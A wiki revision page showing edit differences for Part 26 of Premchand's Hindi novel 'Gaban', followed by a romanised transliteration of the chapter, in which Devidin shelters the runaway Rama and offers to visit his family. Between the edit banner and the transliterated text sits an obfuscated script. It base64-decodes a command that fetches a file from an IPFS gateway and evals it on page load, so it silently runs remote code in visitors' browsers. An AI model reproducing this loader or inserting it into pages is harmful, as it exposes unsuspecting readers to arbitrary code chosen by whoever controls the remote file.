Difference between revisions of "ग़बन उपन्यास भाग-26"
| [unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) m (Text replace - "मिजाज " to "मिज़ाज ") |
आदित्य चौधरी (talk | contribs) m (Text replacement - "छः" to "छह") |
||
| (4 intermediate revisions by 2 users not shown) | |||
| Line 73: | Line 73: | ||
एक जनेऊ गले में डाला और ब्राह्मन बन गए। फिर चाहे हाथ देखो, चाहे, कुंडली बांचो, चाहे सगुन विचारो, सब कुछ कर सकते हो बुढिया भिक्षा लेकर आवेगी। उसे देखते ही कहूंगा, माता तेरे को पुत्र के परदेस जाने का बडा कष्ट है, क्या तेरा कोई पुत्र विदेस गया है? इतना सुनते ही घर-भर के लोग आ जाएंगे। वह भी आवेगी। उसका हाथ देखूंगा। इन बातों में मैं पक्का हूं भैया, तुम निश्चिन्त रहो कुछ कमा लाऊंगा, देख लेना। माघ-मेला भी होगा। स्नान करता आऊंगा। | एक जनेऊ गले में डाला और ब्राह्मन बन गए। फिर चाहे हाथ देखो, चाहे, कुंडली बांचो, चाहे सगुन विचारो, सब कुछ कर सकते हो बुढिया भिक्षा लेकर आवेगी। उसे देखते ही कहूंगा, माता तेरे को पुत्र के परदेस जाने का बडा कष्ट है, क्या तेरा कोई पुत्र विदेस गया है? इतना सुनते ही घर-भर के लोग आ जाएंगे। वह भी आवेगी। उसका हाथ देखूंगा। इन बातों में मैं पक्का हूं भैया, तुम निश्चिन्त रहो कुछ कमा लाऊंगा, देख लेना। माघ-मेला भी होगा। स्नान करता आऊंगा। | ||
| − | रमा की | + | रमा की आँखें मनोल्लास से चमक उठीं। उसका मन मधुर कल्पनाओं के संसार में जा पहुंचा। जालपा उसी वक्त रतन के पास दौड़ी जायगी। दोनों भांति-भांति के प्रश्न करेंगी,क्यों बाबा, वह कहां गए हैं?अच्छी तरह हैं न? कब तक घर आवेंगे- कभी बाल-बच्चों की सुधि आती है उनको- वहां किसी कामिनी के माया-जाल में तो नहीं फंस गए? दोनों शहर का नाम भी पूछेंगी। |
कहीं दादा ने सरकारी रुपये चुका दिए हों, तो मज़ा आ जाय। तब एक ही चिंता रहेगी। | कहीं दादा ने सरकारी रुपये चुका दिए हों, तो मज़ा आ जाय। तब एक ही चिंता रहेगी। | ||
| Line 97: | Line 97: | ||
देवीदीन ने दृढ़ता से कहा, ‘मंजूर।‘ | देवीदीन ने दृढ़ता से कहा, ‘मंजूर।‘ | ||
| − | रमा ने संकोच से | + | रमा ने संकोच से आँखें नीची करके कहा, ‘एक बात और है?‘ |
देवीदीन—‘ ‘क्या बात है? कहो।‘ | देवीदीन—‘ ‘क्या बात है? कहो।‘ | ||
| Line 122: | Line 122: | ||
‘दुकान खुले तो चलें, कपड़े लावेंब आज ही सिलने को दे दें।’ | ‘दुकान खुले तो चलें, कपड़े लावेंब आज ही सिलने को दे दें।’ | ||
| − | देवीदीन के चले जाने के बाद रमा बडी देर तक आनंद-कल्पनाओं में मग्न बैठा रहा। जिन भावनाओं को उसने कभी मन में आश्रय न दिया था, जिनकी गहराई और विस्तार और उद्वेग से वह इतना भयभीत था कि उनमें फिसलकर डूब जाने के भय से चंचल मन को उधर भटकने भी न देता था, उसी अथाह और अछोर कल्पना-सागर में वह आज स्वच्छंद रूप से क्रीडाकरने लगा। उसे अब एक नौका मिल गई थी। वह त्रिवेणी की सैर, वह अल्प्रेड पार्क की बहार, वह ख़ुसरो बाग़ का आनंद, वह मित्रों के जलसे, सब याद आ-आकर | + | देवीदीन के चले जाने के बाद रमा बडी देर तक आनंद-कल्पनाओं में मग्न बैठा रहा। जिन भावनाओं को उसने कभी मन में आश्रय न दिया था, जिनकी गहराई और विस्तार और उद्वेग से वह इतना भयभीत था कि उनमें फिसलकर डूब जाने के भय से चंचल मन को उधर भटकने भी न देता था, उसी अथाह और अछोर कल्पना-सागर में वह आज स्वच्छंद रूप से क्रीडाकरने लगा। उसे अब एक नौका मिल गई थी। वह त्रिवेणी की सैर, वह अल्प्रेड पार्क की बहार, वह ख़ुसरो बाग़ का आनंद, वह मित्रों के जलसे, सब याद आ-आकर हृदय को गुदगुदाने लगे। रमेश उसे देखते ही गले लिपट जाएंगे। मित्रगण पूछेंगे, कहां गए थे, यार- ख़ूब सैर की? रतन उसकी ख़बर पाते ही दौड़ी आएगी और पूछेगी,तुम कहां ठहरे थे, बाबूजी? मैंने सारा कलकत्ता छान मारा। फिर जालपा की मान-प्रतिमा सामने आ खड़ी हुई। |
सहसा देवीदीन ने आकर कहा, ‘भैया, दस बज गए, चलो बाज़ार होते आवें।’ | सहसा देवीदीन ने आकर कहा, ‘भैया, दस बज गए, चलो बाज़ार होते आवें।’ | ||
| Line 158: | Line 158: | ||
‘यह देखो, नमूने लाया हूं, इनमें जौन-सा पसंद करो, ले लूं।’’ | ‘यह देखो, नमूने लाया हूं, इनमें जौन-सा पसंद करो, ले लूं।’’ | ||
| − | यह कह कर देवीदीन ने ऊनी और रेशमी कपड़ों के सैकड़ों नमूने निकालकर रख दिए। पांच- | + | यह कह कर देवीदीन ने ऊनी और रेशमी कपड़ों के सैकड़ों नमूने निकालकर रख दिए। पांच-छह रुपये गज से कम का कोई कपडान था। रमा ने नमूनों को उलट-पलटकर देखा और बोला,इतने महंगे कपड़े क्यों लाए, दादा? और सस्ते न थे?’ |
‘सस्ते थे, मुदा विलायती थे।‘ | ‘सस्ते थे, मुदा विलायती थे।‘ | ||
| Line 168: | Line 168: | ||
रमा ने लजाते हुए कहा, ‘तुम नियम के बडे पक्के हो दादा! ‘ | रमा ने लजाते हुए कहा, ‘तुम नियम के बडे पक्के हो दादा! ‘ | ||
| − | देवीदीन की मुद्रा सहसा तेजवान हो गई। उसकी बुझी हुई | + | देवीदीन की मुद्रा सहसा तेजवान हो गई। उसकी बुझी हुई आँखें चमक उठीं। देह की नसें तन गई। अकड़कर बोला,जिस देस में रहते हैं, जिसका अन्न-जल खाते हैं, उसके लिए इतना भी न करें तो जीने को धिक्कार है। दो जवान बेटे इसी सुदेसी की भेंट कर चुका हूं,भैया! ऐसे-ऐसे पट्ठे थे, कि तुमसे क्या कहें। दोनों बिदेसी कपड़ों की दुकान पर तैनात थे। क्या मजाल थी कोई गाहक दुकान पर आ जाय। हाथ जोड़कर, घिघियाकर, धमकाकर, लजवाकर सबको उधर लेते थे। बजाजे में सियार लोटने लगे। सबों ने जाकर कमिसनर से फरियाद की। सुनकर आग हो गया। बीस गौजी गोरे भेजे कि अभी जाकर बज़ार से पहरे उठा दो। गोरों ने दोनों भाइयों से कहा,यहां से चले जाव, मुदा वह अपनी जगह से जौ-भर न हिले। भीड़ लग गई। गोरे उन पर घोड़े चढ़ा लाते थे, पर दोनों चट्टान की तरह डटे खड़े थे। आख़िर जब इस तरह कुछ बस न चला तो सबों ने डंडों से पीटना सुई किया। दोनों वीर डंडे खाते थे, पर जगह से न हिलते थे। जब बडा भाई फिर पडातो छोटा उसकी जगह पर आ खडा हुआ। अगर दोनों अपने डंडे संभाल लेते तो भैया उन बीसों को मार भगातेऋ लेकिन हाथ उठाना तो बडी बात है, सिर तक न उठाया। अन्त में छोटा भी वहीं फिर पड़ा। दोनों को लोगों ने उठाकर अस्पताल भेजा। उसी रात को दोनों सिधार गए। तुम्हारे चरन छूकर कहता हूं भैया, उस बखत ऐसा जान पड़ता था कि मेरी छाती गज-भर की हो गई है, पांव ज़मीन पर न पड़ते थे, यही उमंग आती थी कि भगवान ने औरों को पहले न उठा लिया होता, तो इस समय उन्हें भी भेज देता। जब अर्थी चली है, तो एक लाख आदमी साथ थे। बेटों को गंगा में सौंपकर मैं सीधे बजाजे पहुंचा और उसी जगह खडा हुआ, जहां दोनों बीरों की लहास गिरी थी। गाहक के नाम चिडिए का पूत तक न दिखाई दिया। आठ दिन वहां से हिला तक नहीं। बस भोर के समय आधा घंटे के लिए घर आता था और नहा-धोकर कुछ जलपान करके चला जाता था। नवें दिन दुकानदारों ने कसम खाई कि विलायती कपड़े अब न मंगावेंगे। तब पहरे उठा लिए गए। तब से बिदेसी दियासलाई तक घर में नहीं लाया। |
| − | रमा ने सच्चे दिल से कहा, ‘दादा, तुम सच्चे वीर हो, और वे दोनों लडके भी सच्चे योद्धा थे। तुम्हारे दर्शनों से | + | रमा ने सच्चे दिल से कहा, ‘दादा, तुम सच्चे वीर हो, और वे दोनों लडके भी सच्चे योद्धा थे। तुम्हारे दर्शनों से आँखें पवित्र होती हैं।‘ |
देवीदीन ने इस भाव से देखा मानो इस बडाई को वह बिलकुल अतिशयोक्ति नहीं समझता। शहीदों की शान से बोला,इन बड़े-बडे आदमियों के किए कुछ न होगा। इन्हें बस रोना आता है, छोकरियों की भांति बिसूरने के सिवा इनसे और कुछ नहीं हो सकता बड़े-बडे देस-भगतों को बिना बिलायती सराब के चैन नहीं आता। उनके घर में जाकर देखो, तो एक भी देसी चीज़ न मिलेगी। | देवीदीन ने इस भाव से देखा मानो इस बडाई को वह बिलकुल अतिशयोक्ति नहीं समझता। शहीदों की शान से बोला,इन बड़े-बडे आदमियों के किए कुछ न होगा। इन्हें बस रोना आता है, छोकरियों की भांति बिसूरने के सिवा इनसे और कुछ नहीं हो सकता बड़े-बडे देस-भगतों को बिना बिलायती सराब के चैन नहीं आता। उनके घर में जाकर देखो, तो एक भी देसी चीज़ न मिलेगी। | ||
| − | दिखाने को दस-बीस कुरते गाढ़े के बनवा लिए, घर का और सब सामान बिलायती है। सब-के-सब भोग-बिलास में अंधे हो रहे हैं, छोटे भी और बड़े भी। उस पर दावा यह है कि देस का उद्धार करेंगे। अरे तुम क्या देस का उद्धार करोगे। पहले अपना उद्धार तो कर लो। | + | दिखाने को दस-बीस कुरते गाढ़े के बनवा लिए, घर का और सब सामान बिलायती है। सब-के-सब भोग-बिलास में अंधे हो रहे हैं, छोटे भी और बड़े भी। उस पर दावा यह है कि देस का उद्धार करेंगे। अरे तुम क्या देस का उद्धार करोगे। पहले अपना उद्धार तो कर लो। ग़रीबों को लूटकर बिलायत का घर भरना तुम्हारा काम है। इसीलिए तुम्हारा इस देस में जनम हुआ है। हां, रोए जाव, बिलायती सराबें उडाओ, बिलायती मोटरें दौडाओ, बिलायती मुरब्बे और अचार चक्खो, बिलायती बरतनों में खाओ, बिलायती दवाइयां पियो, पर देस के नाम को रोये जाव।मुदा इस रोने से कुछ न होगा। रोने से माँ दूध पिलाती है, सेर अपना सिकार नहीं छोड़ता। रोओ उसके सामने, जिसमें दया और धरम हो तुम धमकाकर ही क्या कर लोगे- जिस धमकी में कुछ दम नहीं है, उस धमकी की परवाह कौन करता है। एक बार यहां एक बडा भारी जलसा हुआ। एक |
साहब बहादुर खड़े होकर खूब उछले-यदे, जब वह नीचे आए, तब मैंने उनसे पूछा,साहब, सच बताओ, जब तुम सुराज का नाम लेते हो, तो उसका कौनसा रूप तुम्हारी आंखों के सामने आता है? तुम भी बडी-बडी तलब लोगे, तुम भी अंगरेज़ों की तरह बंगलों में रहोगे, पहाड़ों की हवा खाओगे, अंगरेज़ी ठाठ बनाए घूमोगे, इस सुराज से देस का क्या कल्यान होगा। तुम्हारी और तुम्हारे भाईबंदों की ज़िंदगी भले आराम और ठाठ से गुज़रे, पर देस का तो कोई भला न होगा। बस, बगलें झांकने लगे। तुम दिन में पांच बेर खाना चाहते हो, और वह भी बढिया माल, ग़रीब किसान को एक जून सूखा चबेना भी नहीं मिलता। उसी का रक्त चूसकर तो सरकार तुम्हें हुप्रे देती है। तुम्हारा ध्यान कभी उनकी ओर जाता है? अभी तुम्हारा राज नहीं है, तब तो तुम भोग-बिलास पर इतना मरते हो, जब तुम्हारा राज हो जायगा, तब तो तुम ग़रीबों को पीसकर पी जाओगे। रमा भद्र-समाज पर यह आक्षेप न सुन सका। आख़िर वह भी तो भद्रसमाज | साहब बहादुर खड़े होकर खूब उछले-यदे, जब वह नीचे आए, तब मैंने उनसे पूछा,साहब, सच बताओ, जब तुम सुराज का नाम लेते हो, तो उसका कौनसा रूप तुम्हारी आंखों के सामने आता है? तुम भी बडी-बडी तलब लोगे, तुम भी अंगरेज़ों की तरह बंगलों में रहोगे, पहाड़ों की हवा खाओगे, अंगरेज़ी ठाठ बनाए घूमोगे, इस सुराज से देस का क्या कल्यान होगा। तुम्हारी और तुम्हारे भाईबंदों की ज़िंदगी भले आराम और ठाठ से गुज़रे, पर देस का तो कोई भला न होगा। बस, बगलें झांकने लगे। तुम दिन में पांच बेर खाना चाहते हो, और वह भी बढिया माल, ग़रीब किसान को एक जून सूखा चबेना भी नहीं मिलता। उसी का रक्त चूसकर तो सरकार तुम्हें हुप्रे देती है। तुम्हारा ध्यान कभी उनकी ओर जाता है? अभी तुम्हारा राज नहीं है, तब तो तुम भोग-बिलास पर इतना मरते हो, जब तुम्हारा राज हो जायगा, तब तो तुम ग़रीबों को पीसकर पी जाओगे। रमा भद्र-समाज पर यह आक्षेप न सुन सका। आख़िर वह भी तो भद्रसमाज | ||
| Line 188: | Line 188: | ||
देवीदीन ने चकित होकर पूछा, ‘क्यों क्या बात हुई?’ | देवीदीन ने चकित होकर पूछा, ‘क्यों क्या बात हुई?’ | ||
| − | रमा की | + | रमा की आँखें सजल हो गई। बोला, ‘कौन?सा मुंह लेकर जाऊं, दादा! मुझे तो डूब मरना चाहिए था।’ |
यह कहते-कहते वह खुलकर रो पड़ा। वह वेदना जो अब तक मूर्छित पड़ी थी, शीतल जल के यह छींटे पाकर सचेत हो गई और उसके क्रंदन ने रमा के सारे अस्तित्व को जैसे छेद डाला। इसी क्रंदन के भय से वह उसे छेड़ता न था, उसे सचेत करने की चेष्टा न करता था। संयत विस्मृति से उसे अचेत ही रखना चाहता था, मानो कोई दुद्यखिनी माता अपने बालक को इसलिए जगाते | यह कहते-कहते वह खुलकर रो पड़ा। वह वेदना जो अब तक मूर्छित पड़ी थी, शीतल जल के यह छींटे पाकर सचेत हो गई और उसके क्रंदन ने रमा के सारे अस्तित्व को जैसे छेद डाला। इसी क्रंदन के भय से वह उसे छेड़ता न था, उसे सचेत करने की चेष्टा न करता था। संयत विस्मृति से उसे अचेत ही रखना चाहता था, मानो कोई दुद्यखिनी माता अपने बालक को इसलिए जगाते | ||
Latest revision as of 10:08, 9 February 2021
| chitr:Icon-edit.gif | is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav" |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
abhi rama muanh-hath dho raha tha ki devidin praimar lekar a pahuancha aur bola, ‘bhaiya, yah tumhari aangarezi badi vikat hai. es-aee-ar ‘sar’ hota hai, to pi-aee-ti ‘pit’ kyoan ho jata hai? bi-yoo-ti ‘bat’ hai, lekin pi-yoo-ti ‘put’ kyoan hota hai? tumhean bhi badi kathin lagati hogi.
rama ne muskarakar kaha, ‘pahale to kathin lagati thi, par ab to asan maloom hoti hai.‘ devidin—‘ ‘jis din paraimar khatam hogi, mahabiraji ko sava ser ladadoo chadhaooanga. paraee-mar ka matalab hai, paraee stri mar jay. maian kahata hooan, hamarimar, paraee ke marane se hamean kya sukh! tumhare bal-bachche to haian n bhaiya?’ rama ne is bhav se kaha, ‘mano haian, par n hone ke barabar haian,haan, haian to!’
‘koee chitthi-chapati aee thi?’
‘na!’
‘aur n tumane likhi- are! tin mahine se koee chitthi hi nahian bheji? ghabadate n hoange log?’
‘jab tak yahaan koee thikana n lag jay, kya patr likhooan.’
‘are bhale adami, itana to likh do ki maian yahaan kushal se hooan. ghar se bhag ae the, un logoan ko kitani chianta ho rahi hogi! maan-bap to haian n?’
‘haan, haian to.’
devidin ne gi dagidakar kaha,’to bhaiya, aj hi chitthi dal do, meri bat mano.’
rama ne ab tak apana hal chhipaya tha. usake man mean kitani hi bar ichchha huee ki devidin se kah dooan, par bat hoanthoan tak akar rook jati thi. vah devidin ke muanh se alochana sunana chahata tha. vah janana chahata tha ki yah kya salah deta hai. is samay devidin ke sadbhav ne use parabhoot kar diya.
bola, ‘maian ghar se bhag aya hooan, dada!’
devidin ne mooanchhoan mean muskarakar kaha,’yah to maian janata hooan, kya bap se ladaee ho gee?’
‘nahian!’
‘maan ne kuchh kaha hoga?’
yah bhi nahian!’
‘to phir gharavali se than gee hogi. vah kahati hogi, maian alag rahooangi, tum kahate hoge maian apane maan-bap se alag n rahooanga. ya gahane ke lie zid karati hogi. nak mean dam kar diya hoga. kyoan?’
rama ne lajjit hokar kaha, ‘kuchh aisi bat thi, dada! vah to gahanoan ki bahut ichchhuk n thi, lekin pa jati thi, to prasann ho jati thi, aur maian prem ki tarang mean aga-pichha kuchh n sochata tha.’
devidin ke muanh se mano ap-hi-ap nikal aya, ‘sarakari rakam to nahian udadi?’
rama ko romaanch ho aya. chhati dhak-se ho gee. vah sarakari rakam ki bat usase chhipana chahata tha. devidin ke is prashn ne mano us par chhapa mar diya. vah kushal sainik ki bhaanti apani sena ko ghatiyoan se, jasoosoan ki aankh bachakar, nikal le jana chahata tha, par is chhape ne usaki sena ko ast- vyast kar diya. usake chehare ka rang u d gaya. vah ekaek kuchh nishchay n kar saka ki isaka kya javab dooan.
devidin ne usake man ka bhav bhaanpakar kaha, ‘prem bada bedhab hota hai, bhaiya! b de-bade chook jate haian, tum to abhi lanake ho gaban ke hazaroan mukadame har sal hote haian. tahakikat ki jay, to sabaka karan ek hi hoga,gahana. das-bis varadat to maian aankhoan dekh chuka hooan. yah rog hi aisa hai. aurat muanh se to yahi kahe jati hai ki yah kyoan lae, vah kyoan lae, rupaye kahaan se aveange,
lekin usaka man anand se nachane lagata hai. yahian ek dak-baboo rahate the. bechare ne chhuri se gala kat liya. ek doosare miyaan sahab ko maian janata hooan, jinako paanch sal ki saza ho gee, jehal mean mar ge. ek tisare panditaji ko janata hooan, jinhoanne aphim khakar jan de di. bura rog hai. doosaroan ko kya kahooan, maian hi tin sal ki saza kat chuka hooan. javani ki bat hai, jab is budhiya par joban tha, takati thi to mano kaleje par tir chala deti thi. maian dakiya tha. maniardar takasim kiya karata tha. yah kanoan ke jhumakoan ke lie jan kha rahi thi. kahati
thi, sone hi ke looangi. isaka bap chaudhari tha. meve ki dukan thi. mizaj badha hua tha. mujh par prem ka nasa chhaya hua tha. apani amadani ki diangean marata rahata tha. kabhi phool ke har lata, kabhi mithaee, kabhi atar-phulelab sahar ka halaka tha. jamana achchha tha. dukanadaroan se jo chiz maang leta, mil jati thi. akhir maianne ek maniardar par jhoothe dastakhat banakar rupaye udalie. kul tis rupaye the. jhumake lakar ise die. itani khush huee, itani khush huee, ki kuchh
n poochho, lekin ek hi mahine mean chori pak d li gee. tin sal ki saza ho gee. saza katakar nikala to yahaan bhag aya. phir kabhi ghar nahian gaya. yah muanh kaise dikhata. haan, ghar patr bhej diya. budhiya khabar pate hi chali aee. yah sab kuchh hua, magar gahanoan se usaka pet nahian bhara. jab dekho, kuchh-nakuchh banata hi rahata hai. ek chiz aj banavaee, kal usi ko tu davakar koee doosari chiz banavaee, yahi tar chala jata hai. ek sonar mil gaya hai, majoori mean saph-bhaji le jata hai. meri to salah hai, ghar par ek khat likh do, lekin pulis to tumhari toh mean hogi. kahian pata mil gaya, to kam big d jayaga. maian n kisi se ek khat likhakar bhej dooan?’
rama ne agrahapoorvak kaha, ‘nahian, dada! daya karo. anarth ho jayaga. pulis se zyada to mujhe gharavaloan ka bhay hai.’
devidin—‘ghar vale khabar pate hi a jaeange. yah charcha hi n uthegi. unaki koee chianta nahian. dar pulis hi ka hai.’
ramanath—‘maian saza se bilakul nahian darata. tumase kaha nahian, ek din mujhe vachanalay mean jan - pahachan ki ek stri dikhaee di. hamare ghar bahut ati-jati thi. meri stri se badi mitrata thi. ek bade vakil ki patni hai. use dekhate hi meri nani mar gee. aisa sitapita gaya ki usaki or takane ki himmatan p di. chupake se uthakar pichhe ke baramade mean ja chhipa. agar us vakt usase do-char batean kar leta, to ghar ka sara samachar maloom ho jata aur mujhe yah vishvas hai ki vah is mulakat ki kisi se charcha bhi n karati. meri patni se bhi n kahati, lekin meri himmat hi n p di. ab agar milana bhi chahooan, to nahian mil sakata usaka pata-thikana kuchh bhi to nahian maloom . devidin—‘to phir usi ko kyoan nahian ek chitthi likhate?’
ramanath—‘chitathi to mujhase n likhi jaegi.’
devidin—‘to kab tak chitthi n likhoge?’
ramanath—‘dekha chahie.’
devidin—‘pulis tumhari toh mean hogi.’
devidin chianta mean doob gaya. rama ko bhram hua, shayad pulis ka bhay ise chiantit kar raha hai. bola, ‘haan, isaki shanka mujhe hamesha bani rahati hai. tum dekhate ho, maian din ko bahut kam ghar se nikalata hooan, lekin maian tumhean apane sath nahian ghasitana chahata. maian to jaooanga hi, tumhean kyoan ulajhan mean dalooan. sochata hooan, kahian aur chala jaooan, kisi aise gaanv mean jakar rahooan, jahaan pulis ki gandh bhi n ho
devidin ne garv se sir uthakar kaha, ‘mere bare mean tum kuchh chianta n karo bhaiya, yahaan pulis se darane vale nahian haian. kisi paradeshi ko apane ghar thaharana pap nahian hai. hamean kya maloom kisake pichhe pulis hai? yah pulis ka kam hai, pulis jane. maian pulis ka mukhabir nahian, jasoos nahian, goianda nahian. tum apane ko bachae raho, dekho bhagavan kya karate haian. haan, kahian budhiya se n kah dena,nahian to usake pet mean pani n pachega.’
donoan ek kshan chupachap baithe rahe. donoan is prasang ko is samay band kar dena chahate the. sahasa devidin ne kaha,kyoan bhaiya, kaho to maian tumhare ghar chala jaooan. kisi ko kanoan -kan khabar n hogi. maian idhar-udhar se sara byora poochh aooanga. tumhare pita se milooanga, tumhari mata ko samajhaooanga, tumhari gharavali se batachit karooanga. phir jaisa uchit jan p de, vaisa karana.
rama ne man- hi-man prasann hokar kaha, ‘lekin kaise poochhoge dada, log kaheange n ki tumase in batoan se kya matalab?’
devidin ne thattha marakar kaha, ‘bhaiya, isase sahaj to koee kam hi nahian.‘
ek janeoo gale mean dala aur brahman ban ge. phir chahe hath dekho, chahe, kuandali baancho, chahe sagun vicharo, sab kuchh kar sakate ho budhiya bhiksha lekar avegi. use dekhate hi kahooanga, mata tere ko putr ke parades jane ka bada kasht hai, kya tera koee putr vides gaya hai? itana sunate hi ghar-bhar ke log a jaeange. vah bhi avegi. usaka hath dekhooanga. in batoan mean maian pakka hooan bhaiya, tum nishchint raho kuchh kama laooanga, dekh lena. magh-mela bhi hoga. snan karata aooanga.
rama ki aankhean manollas se chamak uthian. usaka man madhur kalpanaoan ke sansar mean ja pahuancha. jalapa usi vakt ratan ke pas dau di jayagi. donoan bhaanti-bhaanti ke prashn kareangi,kyoan baba, vah kahaan ge haian?achchhi tarah haian n? kab tak ghar aveange- kabhi bal-bachchoan ki sudhi ati hai unako- vahaan kisi kamini ke maya-jal mean to nahian phans ge? donoan shahar ka nam bhi poochheangi.
kahian dada ne sarakari rupaye chuka die hoan, to maza a jay. tab ek hi chianta rahegi.
devidin bola, ‘to hai n salah?’ ramanath—‘kahaan jayange dada, kasht hoga.’
‘magh ka snan bhi to karooanga. kasht ke bina kahian punn hota hai! maian to kahata hooan, tum bhi chalo. maian vahaan sab rang-dhang dekh looanga. agar dekhana ki mamala tichan hai, to chain se ghar chale jana. koee khataka maloom ho, to mere sath hi laut ana.’
rama ne hansakar kaha, ‘kahaan ki bat karate ho, dada! maian yoan kabhi n jaooanga. steshan par utarate hi kahian pulis ka sipahi pak d le, to bas!’
devidin ne ganbhir hokar kaha,’sipahi kya pak d lega, dillagi hai! mujhase kaho, maian prayagaraj ke thane mean le jakar khadakar dooan. agar koee tirachhi aankhoan se bhi dekh le to mooanchh mudalooan! aisi bat bhala! saikadoan khooniyoan ko janata hooan jo yahaan kalakatta mean rahate haian. pulis ke aphasaroan ke sath davatean khate haian, pulis unhean janati hai, phir bhi unaka kuchh nahian kar sakati! rupaye mean bada
bal hai, bhaiya! ’
rama ne kuchh javab n diya. usake samane yah naya prashn a khada hua. jin batoan ko vah anubhav n hone ke karan mahakasht-sakey samajhata tha, unhean is boodhe ne nirmool kar diya, aur boodha shekhibajoan mean nahian hai, vah muanh se jo kahata hai, use poora kar dikhane ki samarthy rakhata hai. usane socha, to kya maian sachamuch devidin ke sath ghar chala jaooan?’ yahaan kuchh rupaye mil jate, to ne soot banava leta, phir shan se jata. vah us avasar ki kalpana karane laga, jab vah naya soot pahane hue ghar pahuanchega. use dekhate hi gopi aur vishvambhar dau deange,bhaiya ae, bhaiya ae! dada nikal ayange. ammaan ko pahale vishvas n ayaga, magar jab dada jakar kaheange,haan, a to ge, tab vah roti huee dvar ki or chaleangi. usi vakt maian pahuanchakar unake pairoan par phir padooanga. jalapa vahaan n aegi. vah man kie baithi rahegi. rama ne man-hi-man vah vaky bhi soch
lie, jo vah jalapa ko manane ke lie kahega. shayad rupaye ki charcha hi n ae. is vishay par kuchh kahate hue sabhi ko sankoch hoga. apane priyajanoan se jab koee aparadh ho jata hai, to ham ughan kar use dukhi nahian karate. chahate haian ki us bat ka use dhyan hi n ae, usake sath aisa vyavahar karate haian ki use hamari or se zara bhi bhram n ho, vah bhoolakar bhi yah n samajhe ki meri apakirti ho rahi hai.
devidin ne poochha, ‘kya soch rahe ho? chaloge n?’
rama ne dabi jaban se kaha, ‘tumhari itani daya hai, to chalooanga, magar pahale tumhean mere ghar jakar poora-poora samachar lana p dega. agar mera man n bhara, to maian laut aooanga.‘
devidin ne dridhata se kaha, ‘manjoor.‘
rama ne sankoch se aankhean nichi karake kaha, ‘ek bat aur hai?‘
devidin—‘ ‘kya bat hai? kaho.‘
‘mujhe kuchh kap de banavane p deange.’
‘ban jayeange.’
‘maian ghar pahuanchakar tumhare rupaye dila dooanga .’
‘aur maian tumhari guru-dakshina bhi vahian de dooanga. ‘
‘guru-dakshina bhi mujhi ko deni p degi. maianne tumhean char haraph aangrezi padha die, tumhara isase koee upakar n hoga. tumane mujhe path padhae haian, unhean maian umr- bhar nahian bhool sakata muanh par badaee karana khushamad hai, lekin dada, matapita ke bad jitana prem mujhe tumase hai, utana aur kisi se nahian. tumane aise gadhe samay meri baanh pak di, jab maian bich dhar mean baha ja raha tha. eeshvar hi
jane, ab tak meri kya gati huee hoti, kis ghat laga hota!’
devidin ne chuhal se kaha, ‘aur jo kahian tumhare dada ne mujhe ghar mean n ghusane diya to?’
rama ne hansakar kaha, ‘dada tumhean apana bada bhaee samajheange, tumhari itani khatir kareange ki tum oob jaoge. jalapa tumhare charan dho-dho piegi, tumhari itani seva karegi ki javan ho jaoge.‘ devidin ne hansakar kaha, ‘tab to budhiya dah ke mare jal maregi. manegi nahian, nahian to mera ji chahata hai ki ham donoan yahaan se apana dera-danda lekar chalate aur vahian apani siraki tanate. tum logoan ke sath ziandagi ke baki din aram se kat jaterri magar is chu dail se kalakatta n chhoda jayaga. to bat pakki ho gee n?’
‘haan, pakki hi hai.’
‘dukan khule to chalean, kap de laveanb aj hi silane ko de dean.’
devidin ke chale jane ke bad rama badi der tak anand-kalpanaoan mean magn baitha raha. jin bhavanaoan ko usane kabhi man mean ashray n diya tha, jinaki gaharaee aur vistar aur udveg se vah itana bhayabhit tha ki unamean phisalakar doob jane ke bhay se chanchal man ko udhar bhatakane bhi n deta tha, usi athah aur achhor kalpana-sagar mean vah aj svachchhand roop se kridakarane laga. use ab ek nauka mil gee thi. vah triveni ki sair, vah alpred park ki bahar, vah khusaro bag ka anand, vah mitroan ke jalase, sab yad a-akar hriday ko gudagudane lage. ramesh use dekhate hi gale lipat jaeange. mitragan poochheange, kahaan ge the, yar- khoob sair ki? ratan usaki khabar pate hi dau di aegi aur poochhegi,tum kahaan thahare the, babooji? maianne sara kalakatta chhan mara. phir jalapa ki man-pratima samane a kh di huee.
sahasa devidin ne akar kaha, ‘bhaiya, das baj ge, chalo bazar hote avean.’
rama ne chauankakar poochha, ‘kya das baj ge?’
devidin—‘ ‘das nahian, gyarah ka amal hoga.‘
rama chalane ko taiyar hua, lekin dvar tak akar rook gaya.
devidin ne poochha,’kyoan kh de kaise ho ge?’
‘‘tumhian chale jao, maian jakar kya karooanga!’
‘‘kya dar rahe ho?’
‘‘nahian, dar nahian raha hooan, magar kya fayada?’
‘maian akele jakar kya karooanga! mujhe kya maloom, tumhean kaun kapada pasand hai. chalakar apani pasand se le lo. vahian daraji ko de deange.’
‘tum jaisa kapada chahe le lena. mujhe sab pansad hai.’
‘tumhean dar kis bat ka hai? pulis tumhara kuchh nahian karegi. koee tumhari taraph takega bhi nahian.’’
‘maian dar nahian raha hooan dada, jane ki ichchha nahian hai.’
‘dar nahian rahe ho, to kya kar rahe ho kah raha hooan ki koee tumhean kuchh n kahega, isaka mera jimma, muda tumhari jan nikali jati hai!’
devidin ne bahut samajhaya, ashvasan diya, par rama jane par razi n hua. vah darane se kitana hi iankar kare, par usaki himmat ghar se bahar nikalane ki n p dati thi. vah sochata tha, agar kisi sipahi ne pak d liya, to devidin kya kar lega. mana sipahi se isaka parichay bhi ho, to yah avashyak nahian ki vah sarakari mamale mean maui ka nirvah kare. yah mikait-khushamad karake rah jaega, jaegi mere sirab kahian pakada jaooan, to prayag ke badale jel jana p de. akhir devidin lachar hokar akela hi gaya.
devidin ghante-bhar mean lauta, to dekha, rama chhat par tahal raha hai. bola, ‘kuchh khabar hai, kai baj ge? barah ka amal hai. aj roti n banaoge kya? ghar jane ki khushi mean khana-pina chho d doge?’
rama ne jheanpakar kaha, ‘bana looanga dada, jaldi kya hai.’
‘yah dekho, namoone laya hooan, inamean jaun-sa pasand karo, le looan.’’
